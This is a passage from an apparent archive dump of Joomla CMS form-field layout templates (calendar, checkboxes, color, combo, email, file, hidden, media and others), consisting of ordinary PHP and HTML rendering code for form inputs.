Text::script('JLIB_HTML_BEHAVIOR_PM');
}
// Redefine locale/helper assets to use correct path, and load calendar
assets
$document->getWebAssetManager()
->registerAndUseScript('field.calendar.helper',
$helperPath, [], ['defer' => true])
->useStyle('field.calendar' . ($direction ===
'rtl' ? '-rtl' : ''))
->useScript('field.calendar');
?>
<div class="field-calendar">
<?php if (!$readonly && !$disabled) : ?>
<div class="input-group">
<?php endif; ?>
<input
type="text"
id="<?php echo $id; ?>"
name="<?php echo $name; ?>"
value="<?php echo htmlspecialchars(($value !==
'0000-00-00 00:00:00') ? $value : '', ENT_COMPAT,
'UTF-8'); ?>"
<?php echo !empty($description) ? '
aria-describedby="' . ($id ?: $name) . '-desc"' :
''; ?>
<?php echo $attributes; ?>
<?php echo $dataAttribute ?? ''; ?>
<?php echo !empty($hint) ? 'placeholder="' .
htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"'
: ''; ?>
data-alt-value="<?php echo htmlspecialchars($value,
ENT_COMPAT, 'UTF-8'); ?>"
autocomplete="off">
<button type="button" class="<?php echo
($readonly || $disabled) ? 'hidden ' : ''; ?>btn
btn-primary"
id="<?php echo $id; ?>_btn"
title="<?php echo
Text::_('JLIB_HTML_BEHAVIOR_OPEN_CALENDAR'); ?>"
<?php echo $calendarAttrsStr; ?>
><span class="icon-calendar"
aria-hidden="true"></span>
<span class="visually-hidden"><?php echo
Text::_('JLIB_HTML_BEHAVIOR_OPEN_CALENDAR'); ?></span>
</button>
<?php if (!$readonly && !$disabled) : ?>
</div>
<?php endif; ?>
</div>
joomla/form/field/checkboxes.php000064400000010273151161525060012707
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attributes for eg,
data-*.
*/
/**
* The format of the input tag to be filled in using sprintf.
* %1 - id
* %2 - name
* %3 - value
* %4 = any other attributes
*/
$format = '<input type="checkbox" id="%1$s"
name="%2$s" value="%3$s" %4$s>';
// The alt option for Text::alt
$alt = preg_replace('/[^a-zA-Z0-9_\-]/', '_', $name);
?>
<fieldset id="<?php echo $id; ?>" class="<?php
echo trim($class . ' checkboxes'); ?>"
<?php echo $required ? 'required' : ''; ?>
<?php echo $autofocus ? 'autofocus' : ''; ?>
<?php echo $dataAttribute; ?>>
<legend class="visually-hidden"><?php echo $label;
?></legend>
<?php foreach ($options as $i => $option) : ?>
<?php
// Initialize some option attributes.
$checked = in_array((string) $option->value,
$checkedOptions, true) ? 'checked' : '';
// In case there is no stored value, use the option's
default state.
$checked = (!$hasValue && $option->checked) ?
'checked' : $checked;
$optionClass = !empty($option->class) ?
'class="form-check-input ' . $option->class .
'"' : ' class="form-check-input"';
$optionDisabled = !empty($option->disable) || $disabled ?
'disabled' : '';
// Initialize some JavaScript option attributes.
$onclick = !empty($option->onclick) ?
'onclick="' . $option->onclick . '"' :
'';
$onchange = !empty($option->onchange) ?
'onchange="' . $option->onchange . '"' :
'';
$oid = $id . $i;
$value = htmlspecialchars($option->value, ENT_COMPAT,
'UTF-8');
$attributes = array_filter([$checked, $optionClass,
$optionDisabled, $onchange, $onclick]);
?>
<div class="form-check form-check-inline">
<?php echo sprintf($format, $oid, $name, $value, implode('
', $attributes)); ?>
<label for="<?php echo $oid; ?>"
class="form-check-label">
<?php echo $option->text; ?>
</label>
</div>
<?php endforeach; ?>
</fieldset>
joomla/form/field/color/advanced.php000064400000010365151161525060013456
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var integer $size Size attribute of the input.
* @var boolean $spellchec Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $checked Is this field checked?
* @var array $position Position of input.
* @var string $control The forms control.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attributes for eg,
data-*.
*/
if ($validate !== 'color' && in_array($format,
['rgb', 'rgba'], true)) {
$alpha = ($format === 'rgba');
$placeholder = $alpha ? 'rgba(0, 0, 0, 0.5)' : 'rgb(0,
0, 0)';
} else {
$placeholder = '#rrggbb';
}
$inputclass = ($keywords && ! in_array($format, ['rgb',
'rgba'], true)) ? ' keywords' : ' ' .
$format;
$class = ' class="form-control ' .
trim('minicolors ' . $class) . ($validate === 'color' ?
'' : $inputclass) . '"';
$control = $control ? ' data-control="' . $control .
'"' : '';
$format = $format ? ' data-format="' . $format .
'"' : '';
$keywords = $keywords ? ' data-keywords="' . $keywords .
'"' : '';
$colors = $colors ? ' data-colors="' . $colors .
'"' : '';
$validate = $validate ? ' data-validate="' . $validate .
'"' : '';
$disabled = $disabled ? ' disabled' : '';
$readonly = $readonly ? ' readonly' : '';
$hint = strlen($hint) ? ' placeholder="' .
$this->escape($hint) . '"' : '
placeholder="' . $placeholder . '"';
$onchange = $onchange ? ' onchange="' . $onchange .
'"' : '';
$required = $required ? ' required' : '';
$autocomplete = !empty($autocomplete) ? ' autocomplete="' .
$autocomplete . '"' : '';
// Force LTR input value in RTL, due to display issues with rgba/hex colors
$direction = $lang->isRtl() ? ' dir="ltr"
style="text-align:right"' : '';
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->usePreset('minicolors')
->useScript('field.color-adv');
?>
<input type="text" name="<?php echo $name; ?>"
id="<?php echo $id; ?>" value="<?php echo
$this->escape($color); ?>"<?php
echo $hint,
$class,
$position,
$control,
$readonly,
$disabled,
$required,
$onchange,
$autocomplete,
$autofocus,
$format,
$keywords,
$direction,
$validate,
$dataAttribute;
?>/>
joomla/form/field/color/simple.php000064400000007120151161525060013175
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellchec Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $checked Is this field checked?
* @var array $position Position of input.
* @var array $control The forms control.
* @var array $colors The specified colors
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*.
*/
$class = ' class="form-select ' . trim($class) .
'"';
$disabled = $disabled ? ' disabled' : '';
$readonly = $readonly ? ' readonly' : '';
Factory::getDocument()->getWebAssetManager()
->useStyle('webcomponent.field-simple-color')
->useScript('webcomponent.field-simple-color');
?>
<joomla-field-simple-color text-select="<?php echo
Text::_('JFIELD_COLOR_SELECT'); ?>"
text-color="<?php echo Text::_('JFIELD_COLOR_VALUE');
?>" text-close="<?php echo
Text::_('JLIB_HTML_BEHAVIOR_CLOSE'); ?>"
text-transparent="<?php echo
Text::_('JFIELD_COLOR_TRANSPARENT'); ?>">
<select name="<?php echo $name; ?>"
id="<?php echo $id; ?>"<?php
echo $disabled; ?><?php echo $readonly; ?><?php echo
$dataAttribute; ?><?php echo $required; ?><?php echo $class;
?><?php echo $position; ?><?php
echo $onchange; ?><?php echo $autofocus; ?>
style="visibility:hidden;width:22px;height:1px">
<?php foreach ($colors as $i => $c) : ?>
<option<?php echo ($c === $color ? '
selected="selected"' : ''); ?>
value="<?php echo $c; ?>"></option>
<?php endforeach; ?>
</select>
</joomla-field-simple-color>
joomla/form/field/combo.php000064400000006026151161525060011671
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
use Joomla\CMS\HTML\HTMLHelper;
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*.
*/
HTMLHelper::_('behavior.combobox');
$attr = '';
// Initialize some field attributes.
$attr .= !empty($class) ? ' class="awesomplete form-control
' . $class . '"' : ' class="awesomplete
form-control"';
$attr .= !empty($size) ? ' size="' . $size .
'"' : '';
$attr .= !empty($readonly) ? ' readonly' : '';
$attr .= !empty($disabled) ? ' disabled' : '';
$attr .= !empty($required) ? ' required' : '';
$attr .= !empty($description) ? ' aria-describedby="' . ($id
?: $name) . '-desc"' : '';
// Initialize JavaScript field attributes.
$attr .= !empty($onchange) ? ' onchange="' . $onchange .
'"' : '';
$val = [];
foreach ($options as $option) {
$val[] = $option->text;
}
?>
<input
type="text"
name="<?php echo $name; ?>"
id="<?php echo $id; ?>"
value="<?php echo htmlspecialchars($value, ENT_COMPAT,
'UTF-8'); ?>"
<?php echo $attr; ?>
data-list="<?php echo implode(', ', $val);
?>"
<?php echo $dataAttribute; ?>
/>
joomla/form/field/contenthistory.php000064400000005735151161525060013674
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Router\Route;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var string $link The link for the content history page
* @var string $label The label text
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attributes for eg,
data-*.
*/
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->useScript('joomla.dialog-autocreate');
$dialogOptions = [
'popupType' => 'iframe',
'src' => Route::_($link, false),
'textHeader' => $label,
];
?>
<button
type="button"
class="btn btn-secondary"
data-joomla-dialog="<?php echo
$this->escape(json_encode($dialogOptions, JSON_UNESCAPED_SLASHES));
?>"
<?php echo $dataAttribute; ?>>
<span class="icon-code-branch"
aria-hidden="true"></span>
<?php echo $label; ?>
</button>
joomla/form/field/email.php000064400000006604151161525060011663
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\String\PunycodeHelper;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*.
*/
$attributes = [
'type="email"',
'inputmode="email"',
'name="' . $name . '"',
'class="form-control validate-email' . (!empty($class) ?
' ' . $class : '') . '"',
'id="' . $id . '"',
'value="' .
htmlspecialchars(PunycodeHelper::emailToUTF8($value), ENT_COMPAT,
'UTF-8') . '"',
$spellcheck ? '' : 'spellcheck="false"',
!empty($size) ? 'size="' . $size . '"' :
'',
!empty($description) ? 'aria-describedby="' . ($id ?:
$name) . '-desc"' : '',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
$onchange ? 'onchange="' . $onchange .
'"' : '',
!empty($autocomplete) ? 'autocomplete="' . $autocomplete
. '"' : '',
$multiple ? 'multiple' : '',
!empty($maxLength) ? 'maxlength="' . $maxLength .
'"' : '',
strlen($hint) ? 'placeholder="' .
htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"'
: '',
$required ? 'required' : '',
$autofocus ? 'autofocus' : '',
$dataAttribute,
];
echo '<input ' . implode(' ',
array_values(array_filter($attributes))) . '>';
joomla/form/field/file.php000064400000006311151161525060011506
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Utility\Utility;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*
*/
$maxSize = HTMLHelper::_('number.bytes',
Utility::getMaxUploadSize());
?>
<input type="file"
name="<?php echo $name; ?>"
id="<?php echo $id; ?>"
<?php echo !empty($size) ? ' size="' . $size .
'"' : ''; ?>
<?php echo !empty($accept) ? ' accept="' . $accept .
'"' : ''; ?>
<?php echo !empty($class) ? ' class="form-control ' .
$class . '"' : ' class="form-control"';
?>
<?php echo !empty($multiple) ? ' multiple' : '';
?>
<?php echo $disabled ? ' disabled' : ''; ?>
<?php echo $autofocus ? ' autofocus' : ''; ?>
<?php echo $dataAttribute; ?>
<?php echo !empty($onchange) ? ' onchange="' .
$onchange . '"' : ''; ?>
<?php echo $required ? ' required' : '';
?>><br>
<?php echo
Text::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', $maxSize);
?>
joomla/form/field/hidden.php000064400000005302151161525060012021
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*
*/
// Initialize some field attributes.
$class = !empty($class) ? ' class="' . $class .
'"' : '';
$disabled = $disabled ? ' disabled' : '';
$onchange = $onchange ? ' onchange="' . $onchange .
'"' : '';
?>
<input
type="hidden"
name="<?php echo $name; ?>"
id="<?php echo $id; ?>"
value="<?php echo htmlspecialchars($value, ENT_COMPAT,
'UTF-8'); ?>"
<?php echo $class, $disabled, $onchange, $dataAttribute; ?>>
joomla/form/field/media.php000064400000016122151161525060011647
0ustar00<?php
/**
* @package Joomla.Admin
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\MediaHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $asset The asset text
* @var string $authorField The label text
* @var integer $authorId The author id
* @var string $class The class text
* @var boolean $disabled True if field is disabled
* @var string $folder The folder text
* @var string $id The label text
* @var string $link The link text
* @var string $name The name text
* @var string $preview The preview image relative path
* @var integer $previewHeight The image preview height
* @var integer $previewWidth The image preview width
* @var string $onchange The onchange text
* @var boolean $readonly True if field is readonly
* @var integer $size The size text
* @var string $value The value text
* @var string $src The path and filename of the image
* @var array $mediaTypes The supported media types for the Media
Manager
* @var array $imagesExt The supported extensions for images
* @var array $audiosExt The supported extensions for audios
* @var array $videosExt The supported extensions for videos
* @var array $documentsExt The supported extensions for documents
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*
*/
$attr = '';
// Initialize some field attributes.
$attr .= !empty($class) ? ' class="form-control field-media-input
' . $class . '"' : ' class="form-control
field-media-input"';
$attr .= !empty($size) ? ' size="' . $size .
'"' : '';
$attr .= $dataAttribute;
// Initialize JavaScript field attributes.
$attr .= !empty($onchange) ? ' onchange="' . $onchange .
'"' : '';
switch ($preview) {
case 'no': // Deprecated parameter value
case 'false':
case 'none':
$showPreview = false;
break;
case 'yes': // Deprecated parameter value
case 'true':
case 'show':
case 'tooltip':
default:
$showPreview = true;
break;
}
// Prefill the contents of the popover
if ($showPreview) {
$cleanValue = MediaHelper::getCleanMediaFieldValue($value);
if ($cleanValue && file_exists(JPATH_ROOT . '/' .
$cleanValue)) {
$src = Uri::root() . $value;
} else {
$src = '';
}
$width = $previewWidth;
$height = $previewHeight;
$style = ($width > 0) ? 'max-width:' . $width .
'px;' : '';
$style .= ($height > 0) ? 'max-height:' . $height .
'px;' : '';
$imgattr = [
'class' => 'media-preview',
'style' => $style,
];
$img = HTMLHelper::_('image', $src,
Text::_('JLIB_FORM_MEDIA_PREVIEW_ALT'), $imgattr);
$previewImg = '<div
class="preview_img">' . $img . '</div>';
$previewImgEmpty = '<div class="preview_empty"'
. ($src ? ' class="hidden"' : '') .
'>'
. Text::_('JLIB_FORM_MEDIA_PREVIEW_EMPTY') .
'</div>';
$showPreview = 'static';
}
// The url for the modal
$url = '';
if (!$readonly) {
$url = ($link ?:
'index.php?option=com_media&view=media&tmpl=component&mediatypes='
. $mediaTypes . '&asset=' . $asset . '&author='
. $authorId) . '&path=' . $folder;
// Correctly route the url to ensure it's correctly using sef
modes and subfolders
$url = Route::_($url);
}
Text::script('JSELECT');
Text::script('JCLOSE');
Text::script('JFIELD_MEDIA_LAZY_LABEL');
Text::script('JFIELD_MEDIA_ALT_LABEL');
Text::script('JFIELD_MEDIA_ALT_CHECK_LABEL');
Text::script('JFIELD_MEDIA_ALT_CHECK_DESC_LABEL');
Text::script('JFIELD_MEDIA_CLASS_LABEL');
Text::script('JFIELD_MEDIA_FIGURE_CLASS_LABEL');
Text::script('JFIELD_MEDIA_FIGURE_CAPTION_LABEL');
Text::script('JFIELD_MEDIA_LAZY_LABEL');
Text::script('JFIELD_MEDIA_SUMMARY_LABEL');
Text::script('JFIELD_MEDIA_EMBED_CHECK_DESC_LABEL');
Text::script('JFIELD_MEDIA_DOWNLOAD_CHECK_DESC_LABEL');
Text::script('JFIELD_MEDIA_DOWNLOAD_CHECK_LABEL');
Text::script('JFIELD_MEDIA_EMBED_CHECK_LABEL');
Text::script('JFIELD_MEDIA_WIDTH_LABEL');
Text::script('JFIELD_MEDIA_TITLE_LABEL');
Text::script('JFIELD_MEDIA_HEIGHT_LABEL');
Text::script('JFIELD_MEDIA_UNSUPPORTED');
Text::script('JFIELD_MEDIA_DOWNLOAD_FILE');
Text::script('JLIB_APPLICATION_ERROR_SERVER');
Text::script('JLIB_FORM_MEDIA_PREVIEW_EMPTY', true);
$doc = Factory::getApplication()->getDocument();
$wam = $doc->getWebAssetManager();
$wam->useStyle('webcomponent.field-media')
->useScript('webcomponent.field-media')
->useScript('webcomponent.media-select');
$doc->addScriptOptions('media-picker-api',
['apiBaseUrl' => Uri::base(true) .
'/index.php?option=com_media&format=json']);
if (!$doc->getScriptOptions('media-picker')) {
$doc->addScriptOptions('media-picker', [
'images' => $imagesExt,
'audios' => $audiosExt,
'videos' => $videosExt,
'documents' => $documentsExt,
]);
}
?>
<joomla-field-media class="field-media-wrapper"
type="image" <?php // @TODO add this attribute to the field in
order to use it for all media types ?>
base-path="<?php echo $this->escape(Uri::root());
?>"
root-folder="<?php echo
$this->escape(ComponentHelper::getParams('com_media')->get('file_path',
'images')); ?>"
url="<?php echo $url; ?>"
input=".field-media-input"
button-select=".button-select"
button-clear=".button-clear"
modal-title="<?php echo
$this->escape(Text::_('JLIB_FORM_CHANGE_IMAGE')); ?>"
preview="static"
preview-container=".field-media-preview"
preview-width="<?php echo $previewWidth; ?>"
preview-height="<?php echo $previewHeight; ?>"
supported-extensions="<?php echo
$this->escape(json_encode(['images' => $imagesAllowedExt,
'audios' => $audiosAllowedExt, 'videos' =>
$videosAllowedExt, 'documents' => $documentsAllowedExt]));
?>">
<?php if ($showPreview) : ?>
<div class="field-media-preview">
<?php echo ' ' . $previewImgEmpty; ?>
<?php echo ' ' . $previewImg; ?>
</div>
<?php endif; ?>
<div class="input-group">
<input type="text" name="<?php echo $name;
?>" id="<?php echo $id; ?>" value="<?php
echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>"
<?php echo $attr; ?>>
<?php if (!$disabled) : ?>
<button type="button" class="btn btn-success
button-select"><?php echo
Text::_('JLIB_FORM_BUTTON_SELECT'); ?></button>
<button type="button" class="btn btn-danger
button-clear"><span class="icon-times"
aria-hidden="true"></span><span
class="visually-hidden"><?php echo
Text::_('JLIB_FORM_BUTTON_CLEAR');
?></span></button>
<?php endif; ?>
</div>
</joomla-field-media>
joomla/form/field/meter.php000064400000006536151161525060011714
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
